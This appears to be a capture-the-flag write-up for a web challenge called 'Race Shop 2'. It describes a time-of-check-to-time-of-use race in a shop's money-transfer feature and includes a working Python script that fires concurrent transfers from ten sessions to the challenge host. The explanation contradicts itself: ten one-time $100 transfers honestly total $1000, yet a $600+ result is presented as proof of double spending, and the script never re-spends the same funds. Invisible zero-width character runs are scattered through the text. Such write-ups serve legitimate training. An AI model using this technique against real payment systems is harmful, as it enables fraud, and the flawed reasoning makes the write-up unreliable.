← Back to Writeups
CUSTOMMediumWeb

Race Shop 2

XESXOR9/10/20262 min read
#web#custom#medium#concurrent_requests#double_spending#race_condition_exploitation

Race Shop 2

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: concurrent_requests, double_spending, race_condition_exploitation

Summary

Web shop challenge where you need to exploit a race condition to accumulate enough money to buy the flag. Each user starts with limited money ($100), and the shop has a "share money" feature for transferring money between users.

Race Shop 2 — web-kids20

Description

Web shop challenge where you need to exploit a race condition to accumulate enough money to buy the flag. Each user starts with limited money ($100), and the shop has a "share money" feature for transferring money between users.

Analysis

The vulnerability is a classic TOCTOU (Time of Check to Time of Use) race condition in the money transfer mechanism:

  1. Server checks the user's balance
  2. If balance is sufficient — performs the transfer
  3. There is no lock between the check and the deduction
  4. With simultaneous requests, the same money can be "spent" multiple times ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Creating Multiple Sessions

Create 10 separate user sessions, each with a starting balance of $100.

Step 2: Preparing the Target Account

Create a target account that will receive all transfers.

Step 3: Simultaneous Money Transfer

Use multithreading to simultaneously send money from all 10 sessions to the target account.

python
#!/usr/bin/env python3
import requests
import threading
from concurrent.futures import ThreadPoolExecutor

BASE_URL = "https://web-kids20.forkbomb.ru/websrv2_race_shop_2"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Create multiple sessions
sessions = []
for i in range(10):
    s = requests.Session()
    # Register/login each session
    s.post(f"{BASE_URL}/register", data={"username": f"user{i}", "password": "pass123"})
    s.post(f"{BASE_URL}/login", data={"username": f"user{i}", "password": "pass123"})
    sessions.append(s)

# Create target user
target = requests.Session()
target.post(f"{BASE_URL}/register", data={"username": "target_user", "password": "pass123"})
target.post(f"{BASE_URL}/login", data={"username": "target_user", "password": "pass123"})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Race condition exploit - send money simultaneously
def send_money(session, amount=100):
    return session.post(f"{BASE_URL}/transfer", data={
        "to": "target_user",
        "amount": amount
    })

# Execute all transfers simultaneously
with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(send_money, s) for s in sessions]
    results = [f.result() for f in futures]

# Check target balance
resp = target.get(f"{BASE_URL}/balance")
print(f"Target balance: {resp.text}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Buy the flag
resp = target.post(f"{BASE_URL}/buy", data={"item": "flag"})
print(f"Flag: {resp.text}")

Step 4: Buying the Flag

Thanks to the race condition, the target user accumulated $600+ (more than should be possible with honest transfers). Use the accumulated money to buy the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍